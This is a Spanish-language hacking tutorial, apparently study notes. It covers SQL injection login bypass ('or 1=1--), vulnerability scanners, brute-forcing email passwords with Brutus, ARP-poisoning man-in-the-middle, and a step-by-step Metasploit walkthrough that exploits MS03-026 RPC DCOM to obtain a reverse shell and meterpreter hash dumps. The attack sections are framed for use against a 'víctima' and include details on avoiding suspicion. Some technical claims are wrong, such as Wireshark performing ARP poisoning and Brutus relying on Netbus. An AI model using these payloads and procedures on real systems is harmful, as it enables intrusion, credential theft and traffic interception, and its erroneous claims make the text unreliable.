Pues bien, tratamos de crear una sentencia, que por error, nos de los datos de la primera fila, de tal forma que si lo hace, entraríamos con el ID=1 y el usuario=pepe. Eso si, el pass no lo sabríamos, ya que entramos gracias al error y no al password.
Las consultas a estas tablas, se hacen de la siguiente forma:

Select * From Usuarios; Nos mostraría todos los datos de la tabla usuarios
Select User From Usuarios; Nos mostraría los nombres de todos los usuarios de la tabla usuarios.
Select User From Usuarios Where Pass=’1234’; Nos mostraría el usuario cuyo password es 1234 de la tabla usuarios.
Select User From Usuarios Where User=Login, pass=campo pass; Esta sería la instrucción genérica para coger un usuario y su contraseña y por ejemplo hacer el loging en la web. Tener en cuenta que los campos string se guardan en la tabla con comillado simple. es decir, pepe se guarda como ‘pepe’.

Ahora entonces, intentamos producir el error a partir de la siguiente estructura:

Select User From Usuarios Where User = **''or 1=1--'** campopass='abc'

Si consiguieramos inyectar este código estaríamos dando la siguiente instrucción: (Tener en cuenta que una -- significa en programación inicio de un comentario, a no ser que sea un dato string). Sabiendo esto, la instrucción estaría diciendo lo siguiente:
Selecciona el usuario de la tabla usuarios, donde el usuario '' (es decir, donde el usuario en blanco) o si se cumple la condición 1=1 (que si se cumple) y el password ninguno, es decir, el que nosotro pongamos, ya que al poner -- la instrucción la toma como comentario y por tanto no la ejecuta. De esta forma metiendo en usuario esta condición: **'or 1=1--** y el password el que queramos,

conseguimos entrar con el primero de la tabla, ya que la condición 1=1 se cumple.

Esta es la forma con la que inyectamos código de programación SQL a la web.

ESCANEADORES DE VULNERABILIDADES

Son aplicaciones que pueden escanear equipos de forma remota sin necesidad de instalar ningún cliente y automatiza el descubrimiento de vulnerabilidades. Existen escaneadores gratuitos y de pago. Los de pago están actualizados diariamente y los gratuitos pueden llevar un retraso de una semana.

Los escaneadores de vulnerabilidades lo que hacen es inyectar sentencias en la web para saber si es vulnerable.
De pago existen 2 muy buenos: Retina Security Scanner y shadow security scanner . Este último también se le conoce como **SSS** y te puedes bajar la versión prueba directamente desde softonic, si quieres evitar rellenar el formulario de su página web. Para ello pincha aquí .

Gratuitos también existen 2 muy buenos. Puedes comprar la versión de pago, pero la única diferencia es la base de datos que tienen que está actualizada. Son los siguientes: Nessus, y el accunetix . Aquí dejo el link para bajar directamente la versión gratuita. Aunque también te puedes bajar la de pago en su modo trial.

Existe también el programa Paros Proxy que es un snnifer sencillo y muy bueno en web.

SSS. Configuración:

Primero hay que crear una nueva sesión en file. Hay 3 plantillas por defecto. Creamos una nueva regla duplicada y luego pasamos a modificarla. Para ello damos a add y decimos que queremos duplicar la regla que escojamos. No se recomienda escanear puertos con esta aplicación ya que no es muy buena. Es mucho mejor nmap.

En Modules, escogemos lo que queremos escanear. Para ello, podemos decir, los http, los ftp siempre y cuando vayamos a escanear Windows que tengan los FTP activados, sino serían perdida de tiempo. Los Windows 2000 lo tienen activados por defecto. Los Windows 2003 no. Escogemos también netbios y todas aquellas que necesitemos.

En Ports, aparecen los puertos y sus descripciones. Podemos escoger que puertos queremos escanear.

En Audits viene en forma de arbol y decimos que queremos escanear. Por ejemplo los DoS, los cgi script, los DNS service, Netbios y todo aquello que queramos. Cuidado con escanear la denegación de servicio o DoS, ya que podrían tirar el sistema.

Cuando escanee, vendrá en rojo todo aquello que es crítico, en azul si es informativo y en amarillo como advertencia.

Default loging: Si queremos utilizar la fuerza bruta, cargamos unos ficheros para cargar tanto los posibles usuarios como password. Esto solo está activo en la versión de pago

Misc, son los signos extraños que definen ir para atrás, adelante, espacios, etc… Es decir, si queremos hacer el login y estamos en otro directorio, utilizaría los signos especiales para poder acceder al directorio correcto.

Una vez elegido todo, damos a aplicar. Luego elegimos la regla que hemos creado y damos a siguiente. Añadimos el host que queremos escanear en add host. Aquí podemos poner el nombre o la IP a escanear o bien un rango de IPs a escanear. También podemos cargar una fichero con los host que queremos escanear. Una vez elegido, le damos a O.K. y luego a siguiente. Para que empiece el sacaneo, arriba le damos a start scan (tecla play) y esperamos a que acabe el scaneo.
Una vez acabado, podemos ver el resultado del escaneo, así como las vulnerabilidades detectadas en la pestaña de vulnerabilities.

Existe un programa llamado Patch management, que te permite, una vez descubiertas las vulnerabilidades, poder arreglarlas de forma automática.

Nessus. Configuración:
Corre como un servidor web. hay que instalar un servidor web. El propio programa viene con uno y ya lo instala el. También tiene un cliente, para poder acceder desde la web.
Nessus corre por el puerto 8834. Es decir, si queremos acceder a él desde la web, deberemos poner en la barra de direcciones del explorador los siguiente: https://IpMáquina:8834. Como ejemplo, https://192.168.0.223:8834

Añadimos los usuarios que queremos que se puedan conectar de forma remota en manage users. Añadimos el usuario y la contraseña y clickeamos en administrador para que tenga todos los privilegios.
Desde otro ordenador o desde el mismo, introducimos la IP del ordenador que lo hemos instalado seguido de dos puntos y el puerto 8834, tal y como viene arriba.
Te pedirá el usuario y la contraseña antes introducidas en el servidor y accedemos al programa.

Polices: damos a añadir (add). Le damos un nombre a la política que queremos crear. En visibilidad, si queremos que sea privada o compartirla. El tipo de escaneo. Elegir syn scan y los demás que queramos. En la pestaña de credentials y ahí en credentials type elegimos el ordenador que vamos a escanear. Sirve para escanearlo desde dentro. en SMB account ponemos el usuario de windows y en SMB password la contraseña. De esta forma, hace un login y puede hacer un escaneo por dentro, es decir, una vez dentro de la computadora. Si no lo sabemos, lo dejaríamos en blanco y el escaneo lo haría por fuera, sin poder meterse dentro. En plugings, podemos desactivar los que queramos, con tan solo pinchar sobre el circulo amarillo. Se volvería rojo. Además, si pulsamos sobre el pluging podemos acceder a todos los plugins de esa clase y también desactivarlos. En Preferences y ahí en plugins es para personalizar los que ahí vienen.

Una vez configurado Polices, damos a scan, elegimos la policy a aplicar y a escanear. Una vez acabado, podemos ir a Reports y ver el resultado. También podemos hacer un download del report para estudiarlo con más tranquilidad en formato PDF.

BRUTUS:
Brutus es un programa para obtener contraseñas como las del correo electrónico. Para Linux existe otro parecido que se llama Hydra.
Brutus utiliza un troyano llamado netbus.
Lo que trata es de aplicar la fuerza bruta para sacar la contraseña o la contraseña y el usuario, dependiendo de lo que estemos buscando.
Aquí dejo un enlace a un pequeño manual para su utilización. Para bajarte el programa pincha aquí.

Una breve explicación:

Si queremos crakear el password de una cuenta de correo, poner en type POP3, y en target el pop de la cuenta. por ejemplo, en terra sería pop3.terra.es.
En Pop3 option podemos modificar la secuencia en caso necesario. Si pinchamos en modify

sequence, podemos elegir en select authentication phase si queremos hallar el user o el password. En este caso elegiremos password phase. El CR+LF equivale a un /n y a un /s . Creo que /n es un salto de linea (un enter). En authentication options podemos poner un archivo txt si son muchos usuarios o clickear en single user y poner el nombre de usuario de la cuenta. en pass mode podemos eligiremos fuerza bruta, aunque también tenemos el word list y el combo list. Si elegimos el brute force, tendremos que configurar el rango, es decir el mínimo que buscamos, el máximo y si queremos que busque solo letras, letras y números, etc... Cuanto más extenso lo hagamos más tardará. Pero si ponemos un máximo de 7 y tiene 8 caracteres la contraseña no la encontrará. Igual si elegimos que busque entre letras y la contraseña tiene números. Así que todo dependerá de cómo lo configuremos aquí.
Una vez que tengamos todo, dar a start.

METASPLOIT. FRAMEWORK

En la siguiente página www.metasploit.com puedes bajarte el programa para crear y configurar metasploits.
Un exploit tiene 2 partes:
1.- Shellcode: es el payload, es decir, es el código que queremos ejecutar.
2.- Exploit: Es el exploit en sí. Es la parte que aprovecha la vulnerabilidad y la explota para entrar en el ordenador.

Una vez instalado, hay que ejecutar primero Metasploit Console.
Una vez listo (tarda varios minutos) hay que poner exit y dar a enter.
Ya podemos abrir Metasploit web, que es más sencilla que la consola. Para los principiantes, mejor el Metasploit web y para los avanzados, es mucho más rápido el Metasploit console

IMPORTANTE: Hay que tener en cuenta en todo momento en la configuración de exploit que los **comandos** que escribamos van siempre en **minúsculas** y las **variables** en **mayúsculas**

Configuración Inteface Web:

1.- Pestaña exploits:
Aparecen el tipo de ataque, el sistema operativo al que ataca, así como el nombre del servicio que usa para llevar el ataque.
En nuestro caso, nos interesa el ataque RPC DCOM. Para ello, en el buscador Search ponemos RPCD COM para ver los exploits que atacan este servicio.
Aparece un modulo exploit llamado Microsoft RPC DCOM Interface Overflow. Como puede verse, usa un ataque tipo stack overflow (esto es, ataca a la pila con exceso de datos) atacando el servicio RPC. Como puede verse, aparecen los sistemas operativos a los cuales se pueden atacar, siempre y cuando, no tengan parcheado este bug.
Clickeamos sobre el módulo y ahí en el target.
Ahora nos toca elegir el payload que queremos de la lista que aparece. El payload es el código que queremos ejecutar en el ordenador remoto. Por ejemplo, que nos envíe la consola (shell). Para ello, clickeamos en windows/shell/reverse_tcp.
Ahora procederemos a configuar el exploit en los huecos que tenemos.

Configuración del exploit: Nos interesa los Required.

- Variable RHOST: Hay que poner la IP de la víctima. ejemplo 192.168.1.23
- Variable RPORT: Es el puerto que estamos atacando. Como atacamos el servicio RPC, éste corre por el puerto 135. Como se puede ver el programa, como ya lo sabe, lo pone por defecto.
- Variable EXITFUNC: Es la técnica que se va a utilizar para salir de la función. Es decir,

para cuando queramos terminar y no fastidiar el RPC de la víctima, ya que si no haríamos ruido y levantaríamos sospechas. Si ponemos Process, se ejecuta como proceso. Si ponemos Seh se ejecuta como servicio.
- LHOST: Nuestra IP. Ejemplo 192.168.1.2
- LPORT: El puerto que nosotros abrimos para que nos entre la shell de la víctima.

En resumen, lo que hemos configurado es: Atacar el puerto 135 de la víctima que es donde se encuentra el RPC, pero para ello, abriremos el puerto 4444 de nuestra máquina para que si el ataque tiene éxito, nos devuelva la shell de la víctima a través de dicho puerto 4444.

Una vez configurado, damos a Launch Exploit, para enviarlo.

Configuración Consola: Nota: La consola de linux va mejor que la de windows

Vamos a hacer lo mismo de antes, pero a través de la Consola del Metasploit. Para ello, abrimos Metasploit Console.
Ejecutamos **show exploits** para ver todos los exploits que hay disponibles. Aparece una lista en la que nos indica el nombre del exploit, Rank del éxito que tiene cuando se lanza y la descripción del exploit.

Utilizaremos el windows/dcerpc/ms03_026_dcom. Lo buscamos en la lista, lo seleccionamos, lo copiamos con **Ctrl + c** y para usarlo ponemos lo siguiente:
use windows/dcerpc/ms03_026_dcom . Para insertarlo, presionamos **Shift + Insert**

(Como se puede observar use va en minuscula porque es un comando y no una variable).

Si se ha metido bien lo anterior, aparecerá; msf exploit(ms03_026_dcom) > lo que significa que está a la espera de que establezcamos las variables. Para ver las opciones poner **show options.**
Aparecen las opciones que tenemos que establecer. Para ello utilizaremos el comando set:
Pero antes de establecer todas las opciones es mejor elegir primero el payload. Para ello pondremos **show payloads**. Elegimos windows/shell/reverse_tcp

Al igual que antes, copiamos y luego insertamos. Para elegirlo es mediante la instrucción set:
set PAYLOAD windows/shell/reverse_tcp
(acordarse: set en minúscula por ser un comando, PAYLOAD en mayúscula por ser una variable).

Si está bien puesto, tendrá que aparecer PAYLOAD => windows/shell/reverse_tcp y luego en otra línea msf exploit(ms03_026_dcom) >

Ahora ponemos **show options** y vemos todas las opciones (variables) que tenemos que establecer, tanto para el módulo como para el Payload. Si no se hubiera cargado bien el Payload, solo aparecería las opciones del exploit.

Para establecer las variables, siempre mediante el comando **set**. Empecemos:
set RHOST 192.168.1.23
set EXITFUNC process
set LHOST 192.168.1.2

Cuando acabemos de establecer todas las variables, ponemos otra vez **set options** para comprobar que hemos establecido todas bien.

Para lanzar el **exploit**, ponermos exploit y damos a enter

Uso de otro exploit Payload:

set PAYLOAD windows/uncinject/reverse_tcp : Lo que hace es inyectar una consola gráfica.

Otro Payload interesante es la consola Meterpreter. Para lanzar dicha consola y recibirla, habría que poner: **set PAYLOAD/meterpreter/reverse_tcp**

Una vez obtenida la consola, puedo usar varias instrucciones:

Help.- Me dice como bajar y subir ficheros.
Shell.- Nos mostraría la shell
sysinfo.- Para ver la información del ordenador.
hashdump.- Para ver los hashes.
Reg.- Para las claves del registro.

NOTA: Para ver las sesiones abiertas poner **sessions** y dar a enter. Para eliminar todas las sesiones, el comando es **sessions –k**

En cualquier momento, poniendo **help** obtengo información de lo que se puede hacer.

Con **back**, volveríamos un paso atrás.

unset Payload.- Para salir de una variable.
unload.- Para descargar, salir de módulos.

Dando a las teclas de subir y bajar, vamos viendo las instrucciones usadas anteriormente. Eso nos facilita no tener que volver a escribirlas en caso de volver a necesitarlas.

SNIFFER:

Esta técnica sirve para conseguir datos o información que se transfiere en una red, ya sea ésta virtual, telefónica, wireless, etc…
Sirve para coger, capturar tráfico que haya tanto de un lado como del otro. Si la conexión es cifrada,, los datos que capturaremos serán cifrados. Necesitaríamos un programa que descifrara datos cifrados.

La captura va a depender del tipo router o aparato que permite dicha comunicación.

A.- Caso de un HUB:

Un HUB es un aparato que permite la conexión de muchos ordenadores a través de él. Es decir, imaginemos una caja rectángula con 6 entradas. Podríamos conectar por cable de red 6 ordenadores, de tal forma que ellos se mantienen comunicados en todo momento.
Imaginemos que el ordenador A le transmite un paquete al D. El hub lo que hace es replicar dicho paquete en todos los ordenadores. Todos rechazarán el paquete menos el D, que es el que lo quiere recibir.

Si ponemos la tarjeta de red en modo promiscuo, lo que hacemos es que nuestro ordenador capture todos los paquetes que van a través de la red. En vez de rechazarlo, los capturaría.

B.- SWICH (SW):

Mismo caso. A quiere enviar paquete a D. El Switch lo que hace ahora es mirar el Mac Address del ordenador destino. En este caso el Mac Address de D, y solo manda el paquete a la boca (donde está enchufado el ordenador) del ordenador D.

Con este método, el modo promiscuo de la tarjeta de red ya no vale.

¿Qué se puede hacer?. Pues lo siguiente. Pero antes hay que entender un concepto importante:

Protocolo ARP.- Protocolo de resolución de direcciones (Address Resolution Protocol) . permite que se conozca la dirección física de una tarjeta de interfaz de red correspondiente a una dirección IP. El ataque que se puede llevar es mediante el ARP Poisson.

En Internet existen varias capas que van de mayor importancia a menor importancia.
Una de esas es el TCP. (Transmission Control Protocol) .
Más abajo está el protocolo IP (Internet Protocol).
Más abajo todavía, está el protocolo ARP. Al ser más bajo, no necesita del IP que está en un nivel superior.

Cuando se conectan varios ordenadores, lo primero que se envía siempre es el ARP, para ver el Mac Address de cada ordenador. Una vez enviado esto, ya se envía el IP y después el TCP.

Imaginemos 3 ordeandores A, B y C. Queremos mandar un paquete del A al C.

Lo primero que se hace es intentar averiguar el Mac Address del ordenador C.
El ARP, envía 1 paquete: Un ARP Request a cada ordenador. El ordenador B lo rechaza, ya que no va con él. El C lo acepta y genera otro paquete ARP llamado ARP Response.

Se genera en una base de datos una tabla con los MAC e IP según la respuesta. En este caso habrá:
IP_A--->MAC_A (Una IP de A asociada a la MAC de A)
IP C---> MAC_C (Una IP de C asociada a la MAC de C).

Todo esto gracias al envío del ARP Request y del ARP Response.

A guardará en una base de datos, el Mac Address de C con la IP de C, para así poder enviarle el paquete.
Existe un comando que podemos ejecutar en la consola (cmd) que es **arp -a** con la que podemos ver la lista que el ordenador ha guardado de las conexiones que se han realizado, ya que en esta lista guarda los IP asociados a los MAC de las conexiones realizadas.

Siempre que el ordenador recibe un paquete, guarda esta IP asociada a la MAC sin preguntar. Vamos a aprovechar este error, para realizar un ataque ARP Poisson que no es más que un tipo de ataque llamado "Man in the middle".

¿Cómo puede B escuchar este tráfico?. De la siguiente forma:
A tiene guardado el IP de C con su MAC. Es decir IP_C : MAC_C
C tiene guardado el IP de A con su MAC. Es decir IP_A : MAC_A

ARP Poisson: El ordenador B manda un ARP Response al ordenador A modificado de esta

forma:
IP_A : MAC_A
IP_C : MAC_ B

Obteniendo IP_C : MAC_B

De esta forma A tendría IP_C : MAC_B . De esta forma B recibiría todos los paquetes que antes iban al ordenador C.

Al ordenador C se le hace lo mismo. Es decir, B manda una ARP Response modificado al ordenador C de esta forma:
IP_C : MAC_C
IP_A : MAC_ B

Obteniendo IP_A : MAC_B

El ordenador B tiene un encaminador que hace que todas las IP de A vaya al MAC A y todas las IP de C a la MAC de C, de tal forma que no se pierde la comunicación entre A y B y además ya soy capaz de capturar todo el tráfico entre ambos.

Un programa para hacer todo esto y capturar los paquetes es el wireshark. Este programa hace ataque ARP Poisson.
También hace snnifer de promiscuidad en la tarjeta.

El programa utiliza la librería wincap. Con lo que en la instalación te pedirá si quieres instalarlo y habrá que decirle que sí, en el caso de que no lo tengas ya instalado.

Una vez ejecutado el programa hay que ir a Capture y ahí a Interface.
Ahí vemos unas descripciones. Una de ellas tiene una IP, la nuestra. Damos a Option, por si quieres poner opciones. Si no, damos a start para que empiece a capturar datos de forma promiscua.
Si quieres ver la documentación de cómo utilizar el programa, pulsa aquí.

También se puede hacer un ataque ARP Poisson con ettercap.